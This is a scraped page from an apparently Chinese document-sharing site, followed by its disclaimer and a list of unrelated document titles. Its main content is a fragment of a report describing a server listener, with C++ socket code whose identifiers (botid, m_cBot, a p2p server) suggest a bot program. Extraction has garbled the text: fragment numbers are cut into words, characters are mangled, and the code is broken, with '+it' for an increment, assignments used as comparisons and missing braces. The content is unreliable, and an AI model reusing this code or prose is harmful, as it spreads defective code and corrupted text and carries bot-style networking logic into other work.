46、*>:iterator it; for(it=m_client->m_CLientitemThread.begin(); it!=m_client->m_CLientitemThread.end(); +it)CClientItem *item = (CClientItem*)(*it);if (!(item->m_serverid).Compare(botid)return item; return NULL;5.1.3 服務(wù)器監(jiān)聽(tīng)程序當(dāng)客戶端與服務(wù)器端進(jìn)行連接時(shí),服務(wù)器進(jìn)行監(jiān)聽(tīng)。具體來(lái)說(shuō)有以下幾個(gè)步驟:創(chuàng)建監(jiān)聽(tīng)套接字、綁定套接字、偵聽(tīng)、連接、發(fā)送接收數(shù)據(jù)、關(guān)閉。相關(guān)
47、代碼如下:void *CListerServer:Run() /創(chuàng)建監(jiān)聽(tīng)套接字SOCKET SListen;Socket_Obj *pSockobj = NULL; SOCKET Accept = INVALID_SOCKET; SOCKADDR_IN ServerAddr;SListen = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if(SListen = INVALID_SOCKET) g_cMainCtrl.m_cConsDbg.Log(10,"Listen create failed!"); /綁定int ret ;do S
48、erverAddr.sin_family = AF_INET;ServerAddr.sin_addr.s_addr = htonl(INADDR_ANY);u_short port = (u_short)(g_cMainCtrl.m_cBot.bot_lister_port.iValue);ServerAddr.sin_port = ntohs(port);/need set#ifdef DBGCONSOLE g_cMainCtrl.m_cConsDbg.Log(4,"cbot(0x%8.8Xh): Trying to connect to "%s:%d".n&q
49、uot;, this,g_cMainCtrl.m_cBot.m_p2pserver->si_serverip.sValue.CStr(), g_cMainCtrl.m_cBot.m_p2pserver->si_port.iValue);#endif ret = bind(SListen,(sockaddr*)&ServerAddr,sizeof(SOCKADDR_IN);if(ret = SOCKET_ERROR)g_cMainCtrl.m_cConsDbg.Log(10,"bind failed!");closesocket(SListen); whi
50、le(ret = SOCKET_ERROR);/監(jiān)聽(tīng) listen(SListen,20);FD_ZERO(&fdsocket);FD_ZERO(&readfds);FD_ZERO(&writefds);FD_ZERO(&exceptfds);FD_SET(SListen,&fdsocket);timeout.tv_sec = 1;timeout.tv_usec = 0;u_long ul=1; ioctlsocket(SListen,FIONBIO,&ul);/非阻塞while (m_running && (g_cMainCtr
51、l.m_bRunning) && g_cMainCtrl.m_cBot.m_bJoined)/1022/if (listmaxnum = 0 && listmaxnum > 20)if (m_ssocket != INVALID_SOCKET)xClose(m_ssocket);m_ssocket = INVALID_SOCKET;#ifdef DBGCONSOLEif(!listmaxnum) / If its server, use another textg_cMainCtrl.m_cConsDbg.Log(2, "Cbot(0x%8.8Xh): Giving up server "%s:%d" after %d retries!n", this, g_cMainCtrl.m_cBot.
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 班主任班級(jí)安全防范與應(yīng)急處理協(xié)議
- 舊村改造項(xiàng)目拆遷補(bǔ)償與二手房購(gòu)買(mǎi)合同
- 財(cái)務(wù)軟件研發(fā)保密協(xié)議及勞動(dòng)合同模板
- 電玩城免責(zé)協(xié)議書(shū)范本
- 部門(mén)副總經(jīng)理員工晉升與發(fā)展規(guī)劃勞動(dòng)合同范本
- 殘疾人勞動(dòng)合同簽訂與勞動(dòng)爭(zhēng)議預(yù)防與處理
- 樁基成孔智能監(jiān)測(cè)儀
- 學(xué)校繳費(fèi)流程規(guī)范說(shuō)明
- 快遞店店員培訓(xùn)
- 2025消防知識(shí)培訓(xùn)
- 橋梁基本狀況卡片(2021新版)
- 塔式起重機(jī)安裝驗(yàn)收牌
- 有機(jī)硅化學(xué)課件-有機(jī)硅化學(xué)基本反應(yīng)
- 如何根據(jù)三視圖畫(huà)軸測(cè)圖及補(bǔ)視圖缺線課件
- 《水產(chǎn)養(yǎng)殖前沿講座》課程教學(xué)大綱
- 漁業(yè)成品油價(jià)格補(bǔ)助專(zhuān)項(xiàng)資金管理暫行辦法
- 水庫(kù)工程建設(shè)征地移民安置監(jiān)測(cè)評(píng)估本底調(diào)查報(bào)告
- 2023年06月新疆生產(chǎn)建設(shè)兵團(tuán)第十二師“三支一扶”招募高校畢業(yè)生筆試題庫(kù)含答案解析
- 基于C#的WinForm程序設(shè)計(jì)學(xué)習(xí)通課后章節(jié)答案期末考試題庫(kù)2023年
- 十堰市張灣區(qū)紅衛(wèi)街道社區(qū)工作者考試真題2022
- 突發(fā)性耳聾培訓(xùn)課件
評(píng)論
0/150
提交評(píng)論